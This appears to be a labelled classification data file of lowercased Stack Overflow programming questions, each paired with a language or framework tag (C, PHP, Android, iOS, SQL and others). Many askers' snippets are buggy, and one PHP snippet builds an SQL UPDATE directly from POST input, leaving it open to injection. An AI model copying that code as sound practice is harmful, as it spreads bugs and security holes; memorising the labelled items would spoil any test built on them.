template function which returns its index th parameter  how can i create a template function  which returns its index th parameter    <pre><code>template &lt;int index  typename ...parameters&gt; auto &amp;&amp;select(parameters&amp;&amp; ...parameters); </code></pre>   i know a  heavyweight  solution:   <pre><code>template &lt;int index  typename ...parameters&gt; auto &amp;&amp;select(parameters&amp;&amp; ...parameters) {     std::tuple&lt;parameters&amp;&amp;...&gt; t(parameters...);     return std::get&lt;index&gt;(t); } </code></pre>   i don t really like this solution  as it depends heavily on the compiler optimizer. besides  it could slow down debug builds because of the unnecessary tuples.    or i know a not-very scalable (but performance-ok) solution:   <pre><code>template &lt;int index&gt; struct selectnthparameter;  template &lt;&gt; struct selectnthparameter&lt;0&gt; {     template &lt;typename par0  typename ...tail&gt;     static par0 &amp;&amp;value(par0 &amp;&amp;par0  tail&amp;&amp; ...tail) {         return forward&lt;par0&gt;(par0);     } };  template &lt;&gt; struct selectnthparameter&lt;1&gt; {     template &lt;typename par0  typename par1  typename ...tail&gt;     static par1 &amp;&amp;value(par0 &amp;&amp;par0  par1 &amp;&amp;par1  tail&amp;&amp; ...tail) {         return forward&lt;par1&gt;(par1);     } }; // add more template specializations for 2...inf </code></pre>   is there any better (more lightweight  scalable) solution for this problem,c++
implementing a method that returns two numbers  how can i implement a method that returns two numbers  something like:   <pre><code>-(float[2])returntwofloatsusingnumber:(float)anumber; </code></pre>,objective-c
global static function in javascript  why does the following returns <code>undefined</code>    <pre><code>var global_vars =  {      countnumofproperties :          function (obj)          {             var count = 0;             for (var k in obj) {                 if (obj.hasownproperty(k)) {                     ++count;                 }                 return count;             }         }     };   var ds = {     file_types_lookup : {} };   global_vars.countnumofproperties(ds.file_types_lookup) </code></pre>,javascript
the old asp.net 2.0 project can t run under microsoft visual web developer 2010 express  before a asp.net 2.0 + ajax 1.0 projact can run well under microsoft visual web developer 2005 express    now when i try to run it under microsoft visual web developer 2010 express  i get the following error.    i don t want to upgrade the project to vs 2010  how can i do  thanks!    <blockquote>    could not load file or assembly system.web.extensions  version=1.0.61025.0  culture=neutral  publickeytoken=31bf3856ad364e35   </blockquote>,asp.net
what are the differences between using array offsets vs pointer incrementation   given 2 functions  which should be faster  if there is any difference at all  assume that the input data is very large   <pre><code>void iterate1(const char* pin  int size) {    for ( int offset = 0; offset &lt; size; ++offset )    {       dosomething( pin[offset] );    } } </code></pre>   vs    <pre><code>void iterate2(const char* pin  int size) {    const char* pend = pin+size;    while(pin != pend)    {       dosomething( *pin++ );    } } </code></pre>   are there other issues to be considered with either approach,c++
what happens to references pointing to properties of deleted nsmanagedobject  i have a <code>nsmanagedobject a</code> with <code>retain</code> properties <code>a b c</code>    i create an <code>nsobject b</code> which hold strong/retain references to <code>a b c</code>    later  <code>nsmanagedobject a</code> got deleted.    would references in <strong>b</strong> pointing to <code>a b c</code> will still be valid      i did not want to copy/duplicate <strong>a</strong>.,ios
php cookie special chars  i m storing multiple information in cookies in javascript. the information pieces are separated by a  +  sign  like <code>document.cookie = cookie1 + = +inf1+ + +inf2</code>.    but when i m echoing out these cookies from php  the separating  +  sign is replaced with a space.    i ve tried to echo with addslashes  didn t work. when i m alerting the the cookie from js it s alright  it shows the separating  +  sign.     anyone out there knows a solution for this,php
getting string in protected function android  basically i have a stand alone class  which does not use activity or service. a function in the class starts a new authenticator.    i have a string in the strings.xml file  which i want to access looking for the best method    example code   <pre><code>class myconnection(){   string username;  string pwd;  string strurl;   public myconnection(string usernamein  string pwdin  string urlin){       this.username = usernamein;       this.pwd = pwdin;       this.strurl = urlin   }  public void  url url = null;   try {     url = new url(this.strurl);     urlconnection urlconn = null;     authenticator.setdefault(new authenticator()){           protected passwordauthentication getpasswordauthentication()(                 // i want my vars from strings.xml here                 return new passwordauthentication(strusername  strpwd.tochararray());          }     });   urlconn = url.openconnection();   //rest of the code  including catch } </code></pre>   i passed the vars through into the class but how do i access them when i set the passwordauthentication.  or can i access them direct from strings.xml,android
view state value for the page and controls  when will be view state value for the page and controls will be saved.i have searched many sites but not getting a clear cut answer.anyone please clarify,.net
subclass of gesturerecognizer does not work  i am trying to subclass gesture recognizer to detect touch down   and not touch up . the subclassing is working   only when i don t put this row to enable scrolling :   <pre><code>[touchdown requiregesturerecognizertofail:scroller.pangesturerecognizer]; </code></pre>   the subclass implementation :   <pre><code>-(void)touchesbegan:(nsset *)touches withevent:(uievent *)event {     if (self.state == uigesturerecognizerstatepossible)     {         self.state = uigesturerecognizerstaterecognized;     } } </code></pre>   problem is   that i need that row  otherwise the scroller will not move..    implementation :   <pre><code> touchdowngesturerecognizer *touchdown = [[touchdowngesturerecognizer alloc] initwithtarget:self action:@selector(handletouchdown:)];     [scroller addgesturerecognizer:touchdown];     [touchdown requiregesturerecognizertofail:scroller.pangesturerecognizer];//not work with it. </code></pre>,objective-c
unhandled exception shows up when setting a dynamic vector in c using realloc  for a homework assignment  i am trying to create a dynamic vector called <code>student_list</code> but i have an issue with the <code>add_student</code> function.    i get the following error:   <pre><code>unhandled exception at 0x589bb2ce(msvcr120d.dll) in consoleapplication1.exe: 0xc00000005: access violation reading location 0xcccccccc8. </code></pre>   here is my code:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  typedef struct{     int assignment1;     int assignment2;     int assignment3;     int assignment4;     int assignment5;     int finalgrade; }grade;  typedef struct{     int id;     char *firstname;     char *lastname;     grade grade; }student;  typedef struct{     student *students;     int size; }student_list;  void init_student(student *); //crud void create_student(student **student); void read_student(student *); void update_student(student *); void delete_student(student **);  //student repository void add_student(student_list *list  student*); void get_student_by_id(student_list *list  int index); void remove_student(student_list *list  int index);  int main(){      //create student list     student_list student_list;     student_list.size = 0;     student *student = null;     create_student(&amp;student);     read_student(student);      add_student(&amp;student_list  student);      delete_student(&amp;student);     free(student_list.students);  }  void create_student(student **student){     *student = (student*)malloc(sizeof(student));     if (student == null){         printf( \nout of memory! );         exit(1);     } }  void init_student(student *student){     student-&gt;firstname = (char*)malloc(128 * sizeof(char));     student-&gt;lastname = (char*)malloc(128 * sizeof(char));     if (student-&gt;firstname == null || student-&gt;lastname == null){         printf( \nout of memory! );         exit(1);     } }  void read_student(student *student){      init_student(student);      printf( introduzca el nombre y el apellido (ej: max medina):  );     scanf( %s %s   student-&gt;firstname  student-&gt;lastname);      grade grade;     printf( introduzca las calificaciones (ej: 7 8 9 10 6):  );     scanf( %d %d %d %d %d   &amp;grade.assignment1  &amp;grade.assignment2  &amp;grade.assignment3  &amp;grade.assignment4  &amp;grade.assignment5);     student-&gt;grade = grade; }  void update_student(student *student){     grade grade;     printf( introduzca las calificaciones (ej: 7 8 9 10 6):  );     scanf( %d %d %d %d %d   &amp;grade.assignment1  &amp;grade.assignment2  &amp;grade.assignment3  &amp;grade.assignment4  &amp;grade.assignment5);     student-&gt;grade = grade; }  void delete_student(student **student){     free(*student); }  void add_student(student_list *list  student *student){     //list-&gt;size++;     list-&gt;students = (student*) realloc(list-&gt;students  list-&gt;size++ * sizeof(student));     int index = list-&gt;size - 1;      //list-&gt;students[index] = *student; } </code></pre>,c
android: reading eventlog  i was trying to implement the eventlogtags in my application (building for api level 4) but couldn t get it to work. actually i am trying to listen to the  activitymanager  log tag like this   <pre><code>eventlogtags event = new eventlogtags(); eventlogtags.description desc = event.get( activitymanager ); log.i(tag desc.mtag); </code></pre>   logging is done just to ensure i am getting the desc object properly.    but it is causing fc in the app,android
can t post a long text to my php  this is my <code>promotion.php</code>   <pre><code>&lt;form action= postingpromotionupdate.php  method= post  enctype= multipart/form-data &gt; promo title: &lt;input type= text  name= promotiontitle /&gt;&lt;br/&gt; promo remark: &lt;textarea name= promotiontext  cols= 100  rows= 10  &lt;/textarea&gt;&lt;br/&gt; &lt;input type= submit  value= update /&gt; &lt;/form&gt; </code></pre>   this is my <code>postpromotion.php</code>   <pre><code>    include  connect.php ;     $promotiontitle=$_post[ promotiontitle ];     $promotiontext=$_post[ promotiontext ]; mysql_query( update promotion set promotiontitle =  $promotiontitle   promotiontext =  $promotiontext  where indexnum = 1 );     echo  &lt;script&gt;alert( update successful! );&lt;/script&gt; ; </code></pre>   if i post short text  no problem. when i post a very long text  can t to post and save it.,php
why doesn t setting cleartaskonlaunch= true  cause oncreate to be called   my application works fine  once it is initialized in the oncreate method of my view class.  however  when i open my app after the droid phone has been sitting idle all night  the oncreate method is not being called.    i use the oncreate to initialize data  and that in turn initializes the gui.  the gui clearly shows that oncreate was not called.    i tried setting cleartaskonlaunch= true  in my manifest.  my manifest is:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;manifest xmlns:android= http://schemas.android.com/apk/res/android    package= com.hedgetools.trin    android:versioncode= 2    android:versionname= 1.02 &gt;   &lt;application android:icon= @drawable/icon                 android:label= @string/app_name                 android:cleartaskonlaunch= true &gt;     &lt;activity android:name= .trin                android:label= @string/app_name &gt;       &lt;intent-filter&gt;         &lt;action android:name= android.intent.action.main  /&gt;         &lt;category android:name= android.intent.category.launcher  /&gt;       &lt;/intent-filter&gt;     &lt;/activity&gt;   &lt;/application&gt;   &lt;uses-sdk android:minsdkversion= 6  /&gt;   &lt;uses-permission android:name= android.permission.internet  /&gt;   &lt;uses-permission android:name= android.permission.access_network_state  /&gt; &lt;/manifest&gt; </code></pre>   this did not help.  my oncreate method is not being call after the droid phone sits idle all night.      why doesn’t cleartaskonlaunch cause oncreate to be called     any help or suggestions will be greatly appreciated.    charles,android
saving queries and optimizing a database  i m creating a script that is designed to query a list of posts by selecting a category  sub category and another sub  or by selecting all.    the problem is that when i want to show  all  posts i need to create 3 queries for each post (to convert the category number into name).    is there a way to make it more optimized     tables structure:   <h2>posts:</h2>  <ul> <li>id (int)</li> <li>main_cat (main category) (int)</li> <li>sub_cat (sub category) (int)</li> <li>sub_sub_cat (sub to the sub) (int)</li> <li>description (varchar)</li> </ul>  <h2>main_cat:</h2>  <ul> <li>id (int)</li> <li>name (varchar)</li> </ul>  <h2>sub_cat:</h2>  <ul> <li>id (int)</li> <li>relation (int) (id of the main_cat)</li> <li>name (varchar)</li> </ul>  <h2>sub_sub_cat:</h2>  <ul> <li>id (int)</li> <li>relation (int) (id of the sub_cat)</li> <li>name (varchar)</li> </ul>   thanks in advance.,mysql
why  not a group by expression    i have some problems with understanding the  not a group by expression  error. as you can see bellow  i have 2 tables: students and grade_students. i need to create a select that will print: students.name  students.year  students.code and the avg of his grades (grade_students.grade).    if i create the select to print me only name and avg is just fine:   <pre><code>select      students.name  avg(grade_students.grade)  from      students inner join      grade_students on students.code = grade_students.code group by      students.name  order by      avg_gr; </code></pre>   but when i ask for year and code as bellow i got the  not a group by expression    <pre><code>select      students.name  avg(grade_students.grade) as avg_gr       students.year  students.code  from      students inner join      grade_students on students.code= grade_students.code group by      students.name  order by      avg_gr; </code></pre>   please give me a hint to figure out what is wrong here.    ps. i m not doing my homework on stackoverflow.com but i admit  i m preparing myself for an exam :)    edit:   <pre><code>name    null     type      -- students     ------- -------- ------------  code not null number(4)     name varchar2(20)  second_name varchar2(20)  year number(1)    name null type          -- grade_students ---- ---- -----------  code number(4) references students ( code)     nota      number(5 2) </code></pre>,sql
php: catch exception and continue execution  is it possible   is it possible to catch exception and continue execution of script,php
ajax request to public folder   i have a javascript file making an ajax request to a file containing json data. the json data file is located in the public folder of rails  however  the ajax request is returning a 404 not found error.   <pre><code>get http://localhost:3000/public/data/album1.json 404 (not found)  </code></pre>   can anyone make a suggestion about what url to set for the ajax request  or where to put the json file if not in the public folder   note  in addition to the url shown in the code below  i also tried <code>url:  data/album1.json </code> but it gave me the same result.    <pre><code>if (this._index === null){             $.ajax({                 url:  public/data/album1.json                   datatype:  json                   data: {}  </code></pre>,ruby-on-rails
how to call controller in state of angularjs from another folder contain controller   i m facing a problem. how to call controller from state  while controller is placed on another folder named and controllers (as shown in the following picture)     there is another way to add controller in the state like:      <pre><code>url: /whatever   templateurl: whatever/init   controller :function(depencies){     perform function } </code></pre>   but i want to reduce my code in state  and want to put controller to another folder  and i can integrate them from their separate locations.    this is a picture for clear understanding:    <a href= https://i.stack.imgur.com/kcadt.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/kcadt.png  alt= enter image description here ></a>,angularjs
how can i check url  \\abc\wof\ty044-12  exist  i  ve tried using   <blockquote> <pre><code>string path=  \\abc\wof\ty044-12 ; bool exist=system.io.directory.exists(path); </code></pre> </blockquote>   but  bool   return true on localhost but return false on server side. also  i ve searched some answers  but it is difficult reconfigure permission of iis.    can i use filewebrequest/httpwebrequest command  not understand about this    <blockquote> <pre><code>        filewebrequest request = (filewebrequest)system.net.webrequest.create( \\abc\wof\ty044-12 );         filewebresponse response = (filewebresponse)request.getresponse(); </code></pre> </blockquote>   ihope someone can help me. thanks!!!,asp.net
what is the guidance automation and where do we use that...   what is the guidance automation and where do we use that.  can anybody help me on what exactly it is and how we use this in our development activities     thanks     sivaram.,.net
bad receiver type  nsmutablearray *__strong *  error  i m trying to add an object to an nsmutablearray:   <pre><code>[eyeliddiagnosis addobject: self.labeldescriptions[biggestblob.getlabel()]]; </code></pre>   i m getting this error on the the line above:    <blockquote>    bad receiver type  nsmutablearray *__strong *   </blockquote>   this is the declaration of the array:   <pre><code>nsmutablearray *eyeliddiagnosis[5]; </code></pre>   how can i go about fixing this,objective-c
ios - background thread calling a property and returning nil  i am very new to ios programing. i ve created a class  that uses a nsurlconnection to download data async.    i use a delegate that s sent across and in turn updates my father class. part of updating the father class includes calling a uiview that has been saved in a local property.    here are some code examples of what i mean:    <strong>myclass:</strong>   <pre><code>@synthesize myview = _myview;  -(void) loadmetadata {     if(self.ismetadataloaded)     {         [self.myview metadataloaded];     }     else {         [_htmllinter summarizeurl:self.originallink];     } }  -(void) urlsummarized:(nsdictionary*)data {     self.producttitle = [data objectforkey:@ title ];     self.productdescription = [data objectforkey:@ description ];     self.provider = [data objectforkey:@ provider_name ];     self.ismetadataloaded= true;     [self.myview metadataloaded]; } </code></pre>   <strong>htmllinter:</strong>   <pre><code>-(void)summarizeurl:(nsstring*)url {     nsurl* u = [[nsurl alloc] initwithstring:request];     ...     ...     ...     //removed a lot of logic that doesn t seem to be relevant      //important to notice  that this is being called on a different thread though:     [self embedlydidload:result]; }  -(void) embedlydidload:(id)result {     nsdictionary* properties = (nsdictionary*)result;     [_facilitator urlsummarized:properties]; } </code></pre>   the strange thing is this: myclass doesn t remember what self.myview is when accessed through another thread. this line the problematic one : [self.myview metadataloaded];    it returns a valid pointer when called initially in loadmetadata  but when i call it on another thread in urlsummarized  it is nil.    what can be causing that,ios
running a rails app on an internal network with access to an external form possible   i am currently working on a rails project that will be deployed on an internal network for large businesses. it will be for internal use only. however  one of the feature requirements for this project is that external non-users can receive an email with a url/token that takes them to a form to supply information to the application s database from outside the network. what would be the best way  or is it even possible  to approach this,ruby-on-rails
how to store global statuses and/or parameters of an ios app with objective-c   i ve written a little application with different <code>uiviewcontroller</code>s. in my appdelegate i ve this:   <pre><code>self.window.rootviewcontroller = [[uinavigationcontroller alloc]                                  initwithrootviewcontroller:                                  [[mainviewcontroller alloc] init]]; </code></pre>   mainviewcontroller  contains a method:   <pre><code>- (void)amethod {     [self.navigationcontroller pushviewcontroller:[[cellviewcontroller alloc] init]                                                       animated:true]; } </code></pre>   cellviewcontroller  contains a method:   <pre><code>- (void)amethod {     starttobuildviewcontroller * controller = [[starttobuildviewcontroller alloc] init];     [self.navigationcontroller pushviewcontroller:controller animated:true]; } </code></pre>   and so on. my question is: what s the best way to share informations from a <code>uiviewcontroller</code> to others  i just need to store flag status and/or datetime value. can i use global variables  database  what else     i came from php  and in php i would use database or session variables.,objective-c
flip transition takes time  i am using the example from theelements sample code provided with the iphone sdk to achieve flip transition between 2 views. the transition from the 1st view to the second is not as responsive as the one from second to first. i am not sure why this is happening. the transition does happen but takes almost double the time it should.    i tired comparing my code with the one in theelements and don t see much difference in the transition portion. any ideas     thanks.,iphone
getting $scope.variable in ng-if  i m trying to simply use $scope.variable name like this   <pre><code>&lt;a href= index.html  ng-if= {{variablename}} &gt; &lt;!-- angular.js:11706 error: [$parse:syntax] syntax error: token  {  invalid key --&gt; </code></pre>   how do i use {{variablename}} inside the ng-if statement,angularjs
html link issue  i m attempting to learn some html on my own and i m starting out with some very basic formatting and linking.   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;body&gt; &lt;h1&gt; first heading &lt;/h1&gt; &lt;a href = “http://www.stackoverflow.com” target=“_blank”&gt;test link&lt;/a&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   i saved the file as .html and it opens correctly in any browser like i would expect  but when attempting to click the link the browser displays a  website not found  message. the url shows the directory to the folder on my computer where i have created the html document followed by    <a href= http://www.stackoverflow.com >http://www.stackoverflow.com</a>    i feel like this is a formatting issue but i have tried all kinds of variations of the notation. any help is appreciated.    //////edit//////    thanks for the help guys! i think textedit is just the source of the problem. i wrote a new html file in vim and everything worked perfectly.,html
what is the difference between $( #selectid ).find( :selected ).val() and $( #selectid ).val() for non-multi select elements   when working with a <code>select</code> element (<code>multiple=false</code>) with many options  what is the difference (functional  speed  etc) between doing the following in jquery:   <pre><code>$( #selectid ).find( :selected ).val() </code></pre>   and   <pre><code>$( #selectid ).val() </code></pre>,jquery
method won t print results to the console  i have a program where i load information about dogs. then i need to find the oldest dogs of specific breed. the problem is  my program doesn t print anything.    here is the code:   <pre><code>private static int findoldestage(dog[] dogs  string breed) {     int maxage = 0;      for (int i = 0; i &lt; dogcount; i++)     {         if (dogs[i].age &gt; maxage)             maxage = dogs[i].age;     }     return maxage; }  private static dog[] findoldestdogs(dog[] dogs  string breed  int age) {     dog[] oldestdogs = new dog[maxnumberofdogs];      for (int i = 0; i &lt; dogcount; i++)     {         if (dogs[i].age == age)             oldestdogs[oldestdogcount] = dogs[i];         }         return oldestdogs;     }  static void printdogstoconsole(dog[] dogs  int count) {     for (int i = 0; i &lt; count; i++)     {         console.writeline( vardas: {0}\nmikroschemos id: {1}\nsvoris: {2}\namžius: {3}\nveislė: {4}\nsavininkas: {5}\ntelefonas: {6}\nvakcinacijos data: {7}\nagresyvus: {8}   dogs[i].name  dogs[i].chipid  dogs[i].weight  dogs[i].age  dogs[i].breed  dogs[i].owner  dogs[i].phone  dogs[i].vaccinationdate  dogs[i].aggressive);     } } </code></pre>   this is the main method. i m pretty sure the data is loaded fine  because it would print all the information if i want.   <pre><code>dog[] dogs = new dog[maxnumberofdogs]; console.writeline( which breed dogs count  ); breed = console.readline(); dog[] oldestdogs = findoldestdogs(dogs  breed  findoldestage(dogs  breed)); printdogstoconsole(oldestdogs  oldestdogcount); </code></pre>,c#
what is binding event in jquery plugin exactly for   what is binding event in jquery exactly for  i dont really understand the purpose of it.    <pre><code>.bind( loaded.jstree   function (event  data) {                      $( #demo1 ).css( display    block );         }) </code></pre>,jquery
is an overuse of nullable columns in a database a  code smell    i m just stepping into a project and it has a fairly large database backend.  i ve started digging through this database and 95% of the fields are nullable.    is this normal practice in the database world   i m just a lowly programmer  not a dba but i would think you would want to keep nullable fields to a minimum  only where they make sense.    is it a  code smell  if most columns are nullable,sql
iphone app new update popup  i ve seen apps the shows a dialog box when a new version of the app is available.    how does it do that,iphone
cannot implicitly convert ulong to int  i`m writing a program in c# that tracks cpu usage but i cant get an error solved     <blockquote>     cannot implicitly convert ulong to int .  </blockquote>   code below:   <pre><code>        int i;         i = 0;         try         {             managementclass cpudataclass = new managementclass( win32_perfformatteddata_perfos_processor );              while (true)             {                 managementobjectcollection cpudataclasscollection = cpudataclass.getinstances();                 foreach (managementobject obj in cpudataclasscollection)                 {                     if (obj[ name ].tostring() ==  _total )                     {                         i = convert.touint64(obj[ c1transitionspersec ]);                     }                 }                 thread.sleep(100);             }         }         catch (threadabortexception tbe)         {          }           progressbar1.maximum = 100;         progressbar1.minimum = 1;          progressbar1.value = i;         } </code></pre>   i`m fairly new to c# so i hope this is an easy fix anyone that can help me in this,c#
how to collect and compare ids   i have 2 multi selectors in extjs (respondents groups and jsut respondents). erery respondent have a group (only 1).     here  how i selected my ids ...    i get respondent_group id  for example = 1   <pre><code>  respondent_ids       = params[:selected_respondents].split(/ /).collect {|r| r.to_i} </code></pre>   here i get respondents ids: 3 4 1   <pre><code>  respondent_pure_ids  = params[:selected_alone_respondents].split(/ /).collect {|r| r.to_i} </code></pre>   here i find respondents in group (for example i have 10 groups  every group has 1-3 respondents).   <pre><code>  respondents       = respondent.find(:all  :conditions =&gt; [ respondent_group_id in ( ) and id not in ( )   respondent_ids  session[:user].id])  </code></pre>   i find respondents .   <pre><code>  respondents_alone = respondent.find(:all  :conditions =&gt; [ id in ( ) and id not in ( )   respondent_pure_ids  session[:user].id])  </code></pre>   here i found respondents (i find id where respondent_group =  ) and send them email.   <pre><code>        respondents.each do |r|             notifier.deliver_inquiry_notification()          end </code></pre>   what i want  i get <code>respondents</code> and <code>respondents_alone</code> id s.    <pre><code>for example respondents = 3   4   6 respondents_ alone = 3  5  6  8 </code></pre>   i have 3 and 6 ids in both. i dont want to dublicate my data . how to check: if respondents ids does not equals respondent_alone ids  i send email else error!,ruby-on-rails
strcmp won t work on linked lists  i have created a linked list  that holds the name of colours (hungarian) read from a file. what my program is supposed to  is to compare the s string with the contents of the file. if it matches  print out the corresponding name from the file. but it won t do a damn thing.    <blockquote>    what could be the issue   </blockquote>   file contents:    <blockquote>    zold piros sarga lila rozsaszin tukiszkek fekete feher narancs okkersarga szintelen  </blockquote>  <pre><code>    #include &lt;stdio.h&gt;     #include &lt;stdlib.h&gt;     #include &lt;string.h&gt;     #define max 30      int getl(char s[]  int lim) /*ez a függvény kéri be a beolvasandó karakterláncot*/     {     int c i;     for(i = 0; i &lt; lim &amp;&amp; (c = getchar()) !=  \n  &amp;&amp; c!=eof; i++)       s[i] = c;     s[i] =  \0 ; // tömb lezárasa     while(c !=  \n  &amp;&amp; c!=eof)       c=getchar(); // puffer ürítése     return i; // visszateresi értek: string hossza     }      struct szinek {          char szinek[max];         struct szinek *kov;      };   int main() {     file *fp;     char s[max] =  zold ;     fp = fopen( /home/dumika/desktop/szinek.txt    r );     if(!fp) return;      struct szinek *llist  *head = null  *prev = null;      while(fgets(s  max  fp)) {          if(!(llist = (struct szinek*)malloc(sizeof(struct szinek)))) break;         if(head) {           prev-&gt;kov  = llist;         } else {           head = llist;         }         prev = llist;         llist-&gt;kov = null;          strcpy(llist-&gt;szinek  s);     }      llist = head;      while(llist != null)     {         if(!strcmp(llist-&gt;szinek  s))         {             printf( %s   llist-&gt;szinek);         }         llist = llist-&gt;kov;     } } </code></pre>,c
iphone: message sent to deallocated instance  if i run this code:   <pre><code>nsstring *xml = [[nsstring alloc] init]; xml=[nsstring stringwithformat:@ &lt;%@&gt;   @ msg ]; nslog(@ %@\n  xml); [xml release]; </code></pre>   i got:<br> <code>2010-09-07 11:45:15.523 test[1312:207] &lt;msg&gt;</code><br> <code>2010-09-07 11:45:15.527 test[1312:207] *** -[cfstring release]: message sent to deallocated instance 0x3d52ba0</code>    i have red the memory guide and i think that: if i create an object using the <code>alloc</code> &amp; <code>init</code> methods  i should release that object  but the rule does not play well here  why     <strong>updated</strong>    it seems that this line <code>xml=[nsstring stringwithformat:@ &lt;%@&gt;   @ msg ];</code> is the problem. i replaced it by <code>xml=@ something ;</code> and it worked.    any idea why i can not use the <code>stringwithformat</code> method here     <strong>updated</strong><br> thanks for the answers @(douwe maan  boltclock  rod)    i have updated the code  just testing another way:   <pre><code>nsstring *xml = [[nsstring alloc] initwithformat @ &lt;%@&gt;   @ msg ]; nslog(@ %@\n  xml); [xml release]; </code></pre>   interesting: if i run that code with the debug option enabled i get a message saying: <code>*** -[cfstring _cftypeid]: message sent to deallocated instance 0x3954ab0</code>    but if i run it without the debugging tool  it never sends a message saying that.    questions:<br> 1. is it normal that the error message will not appear if i am not running the project with the debug tool <br> 2. so  what is the problem with <code>initwithformat</code>   is it the same that has <code>stringwithformat</code>  (i think it does not create an autoreleased instance)<br> 3. how may i know that some method returns an autoreleased instance   is there some naming convention anywhere,objective-c
passing dynamically allocated 2d array to a function  the following code is not working correctly.  i m getting a segfault when i run the program.  i ran my program through gdb and found out that the error is occuring in the fillarrays(int** int) function.    gdb is displaying the following parameters for fillarrays(int** int):   <pre><code>fillarrays (arrays=0x0 numarrays=3) </code></pre>   here is the source code to my program   <pre><code>#include &lt;stdlib.h&gt; /* malloc and free */  #define multiplier          1 #define small               10 #define big                 20  void allocatesmallarrays(int **arrays int numarrays) {     int index freeindex;     int outerindex innerindex;     arrays = malloc(numarrays*sizeof(int*));     if(arrays == null) {         printf( out of memory\n );         exit(1);     }     for(index = 0;index &lt; numarrays;index++) {         arrays[index] = malloc(small*sizeof(int));         if(arrays[index] == null) {             printf( out of memory\n );             exit(1);         }     } }  void fillarrays(int **arrays int numarrays) {     int outerindex innerindex;     for(outerindex = 0;outerindex &lt; numarrays;outerindex++) {         for(innerindex = 0;innerindex &lt; small;innerindex++)             arrays[outerindex][innerindex] = 0;     } }  void deallocatesmallarrays(int **arrays int numarrays) {     int index;     for(index = 0;index &lt; numarrays;index++)         free(arrays[index]);     free(arrays); }  int main(void) {    int numarrays  = (3 * multiplier);    int **arrays = 0;     allocatesmallarrays(arrays numarrays);    fillarrays(arrays numarrays);    deallocatesmallarrays(arrays numarrays);     arrays = 0;     return 0; } </code></pre>   i was under the assumption that since arrays was allocated in allocatesmallarrays  that passing it through fillarrays would 0 out the allocated arrays and then deallocate in the last function.  how do i go about accomplishing this,c
ios app icon color sometimes wrong  <a href= https://i.stack.imgur.com/zdww5.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/zdww5.png  alt= enter image description here ></a>    i noticed that sometime the color of my app-icon is wrong where white is not white anymore. above you see a fragment my icon where the white part has become cyan.    any idea what can cause this,ios
how to save multi line values in textbox into multi rows in sql  i m trying to save multi line values in textbox into multi rows in sql. i have a textbox as shown in below image    <a href= http://www.4shared.com/photo/91dd7knd/multi-textbox.html  rel= nofollow >http://www.4shared.com/photo/91dd7knd/multi-textbox.html</a>    after save  i want in data sql as below:    <a href= http://www.4shared.com/photo/8yevrpbv/data-sql.html  rel= nofollow >http://www.4shared.com/photo/8yevrpbv/data-sql.html</a>,c#
in json parsing i am having issue at the time of dynamic parsing  i can t get exact out put after json parsing.    <code>strurlrootview</code> is <code>nsstring</code> object of  <strong>rootviewcontroller.m </strong> class...   <pre><code>strurlrootview = txt_enterurl.text; </code></pre>   <code>strurlrank</code> is also the <code>nsstring</code> object of <strong> checkrank_viewcontroller.m </strong> class...   <pre><code>strurlrank = strurlrootview;  -(void)viewdidload  {      [self startjsonparsing];      [super viewdidload]; }  -(void)startjsonparsing  {      responsedata = [[nsmutabledata data] retain];     arrdata = [nsmutablearray array];      nsstring *stringwithoutspaces = [nsstring stringwithformat:@ http://lsapi.seomoz.com/linkscape/url-metrics/%@%2fblog accessid=member-10fd5cb877&amp;expires=1365850483&amp;signature=m%2f7hzu1y7sa00nglfkhyy%2fo3tb4%3d  strurlrank]; </code></pre>   if i use    @ http://lsapi.seomoz.com/linkscape/url-metrics/www.yahoo.com%2fblog accessid=member-10fd5cb877&amp;expires=1365850483&amp;signature=m%2f7hzu1y7sa00nglfkhyy%2fo3tb4%3d     this url statically it will give exact out put.   <pre><code>    nslog(@ stringwithoutspaces is:--&gt; %@\n\n  stringwithoutspaces);      nsurlrequest *request1 = [nsurlrequest requestwithurl:                                [nsurl urlwithstring:stringwithoutspaces]];     nslog(@ request1 is:--&gt; %@\n  request1);      [[nsurlconnection alloc] initwithrequest:request1 delegate:self];   }  (void)connection:(nsurlconnection *)connection didreceiveresponse:(nsurlresponse *)response  {      [responsedata setlength:0];  }  (void)connection:(nsurlconnection *)connection didreceivedata:(nsdata *)data  {      [responsedata appenddata:data];  }  (void)connection:(nsurlconnection *)connection didfailwitherror:(nserror *)error  {      nslog(@ error occured at the time of parsing... );  }  (void)connectiondidfinishloading:(nsurlconnection *)connection  {      [connection release];     nsstring *responsestring = [[nsstring alloc] initwithdata:responsedata encoding:nsutf8stringencoding];     [responsedata release];      results = [responsestring jsonvalue];      lbl_rootdomain.text = [results objectforkey:@ upl ];     lbl_url.text = [results objectforkey:@ uu ];     lbl_title.text = [results objectforkey:@ ut ];     lbl_subdomain.text = [nsstring stringwithformat:@ %f  [[results objectforkey:@ fmrp ] floatvalue]];     lbl_mozrank.text = [nsstring stringwithformat:@ %f  [[results objectforkey:@ umrp ] floatvalue]];     lbl_domainautho.text = [nsstring stringwithformat:@ %d  [[results objectforkey:@ pda ] intvalue]];     lbl_xternallinks.text = [nsstring stringwithformat:@ %d  [[results objectforkey:@ ueid ] intvalue]];     lbl_links.text = [nsstring stringwithformat:@ %d  [[results objectforkey:@ uid ] intvalue]];     lbl_pageautho.text = [nsstring stringwithformat:@ %f  [[results objectforkey:@ upa ] floatvalue]];      nslog(@ results data is:--&gt; %@  results);      nsstring *str = [nsstring stringwithformat:@ root domain: %@\n url: %@\n title: %@\n subdomain mozrank: %@\n mozrank: %@\n domain authority: %@\n external links: %@\n links: %@\n page authority: %@\n  lbl_rootdomain.text lbl_url.text lbl_title.text lbl_subdomain.text lbl_mozrank.text lbl_domainautho.text lbl_xternallinks.text lbl_links.text lbl_pageautho.text];      nslog(@ mail data is:--&gt; \n\n %@  str); } </code></pre>   i am not getting the exact problem in coding. if i am wrong in coding then please tell me what is wrong.    thanks in advance.,iphone
